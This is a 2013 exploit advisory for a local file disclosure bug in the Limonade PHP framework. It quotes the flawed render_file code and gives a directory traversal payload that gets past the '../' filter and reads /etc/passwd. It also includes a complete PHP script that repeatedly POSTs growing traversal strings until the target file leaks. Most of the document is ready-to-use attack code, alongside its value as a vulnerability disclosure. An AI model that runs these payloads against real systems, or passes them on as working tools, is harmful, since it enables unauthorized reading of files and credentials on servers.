###################################################################################################################################
# Exploit Title: Limonade framework Local file disclosure filtering bypass
# Date: 2013 17 November
# Exploit Author: Yashar shahinzadeh
# Special thanks to Mormoroth
# Credit goes for: http://y-shahinzadeh.ir & ha.cker.ir
# Vendor Homepage: http://limonade-php.github.io/?
# Tested on: Linux (Ubuntu), PHP 5.3.10-1ubuntu3.8 with Suhosin-Patch
# Affected Version : 3.0 (Last)
#
# Contacts: {http://Twitter.com/YShahinzadeh, http://y-shahinzadeh.ir, http://Twitter.com/Mormoroth, http://mormoroth.ir}
###################################################################################################################################
1. Filtering bypass
===================
Limonade is a light framework suffering from Local file disclosure, following lines written at lib/limonade.php make the vulnerability:
File: lib/limonade.php
...
...
function render_file($filename, $return = false)
{
# TODO implements X-SENDFILE headers
// if($x-sendfile = option('x-sendfile'))
// {
// // add a X-Sendfile header for apache and Lighttpd >= 1.5
// if($x-sendfile > X-SENDFILE) // add a X-LIGHTTPD-send-file header
//
// }
// else
// {
//
// }
$filename = str_replace('../', '', $filename);
if(file_exists($filename))
{
$content_type = mime_type(file_extension($filename));
$header = 'Content-type: '.$content_type;
if(file_is_text($filename)) $header .= '; charset='.strtolower(option('encoding'));
send_header($header);
return file_read($filename, $return);
}
else halt(NOT_FOUND, "unknown filename $filename");
}
...
...
str_replace() function has been used in inefficient way which reasults in having LFD hole. Following piece of code can be used to demonstrade it:
<?php
require_once dirname(dirname(__FILE__)).'/lib/limonade.php';
function configure()
{
option('env', ENV_DEVELOPMENT);
}
dispatch('/','index');
function index()
{
set('page_title', "using content_for()");
}
dispatch_post('/file/:file','FileContents');
function FileContents()
{
params($_POST);
var_dump(render_file(params('file')));
}
run();
?>
What will happen if HTTP request below is sent:
....//....//....//....//etc/passwd
Apparently, immediate filtering system applies a replacement which produces:
../../../../etc/passwd
Here is the exploit:
<?php
/** To prevent of time out **/
set_time_limit(0);
/** Error reporting **/
error_reporting(0);
/** Necessary variables **/
$url = $argv[1];
$data = $argv[2];
$needle = $argv[3];
/** Curl function with appropriate adjustments **/
function CurlPost($url='localhost',$data=array())
{
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,FALSE);
curl_setopt($ch,CURLOPT_SSL_VERIFYHOST,2);
curl_setopt($ch,CURLOPT_HEADER,1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_TIMEOUT,50);
curl_setopt($ch,CURLOPT_POST,true);
curl_setopt($ch,CURLOPT_POSTFIELDS,$data);
return curl_exec($ch);
curl_close($ch);
}
list($param,$file) = explode(':',$data);
$FilterBypassing = '....//';
for($i=0;$i<10;$i++)
{
$DataToPost[$param] = $FilterBypassing.$file;
$response = CurlPost($url,$DataToPost);
if(strstr($response,$needle)!==FALSE)
{
echo $response;
echo "\n\nExploited successfully!\n";
echo 'Payload: ',$DataToPost[$param],"\n\n\n";
die();
}
$FilterBypassing .= '....//';
}
?>
Illustration: http://blog.y-shahinzadeh.ir/posts-images/limonade/1.jpg
/** Yasshar shahinzadeh **/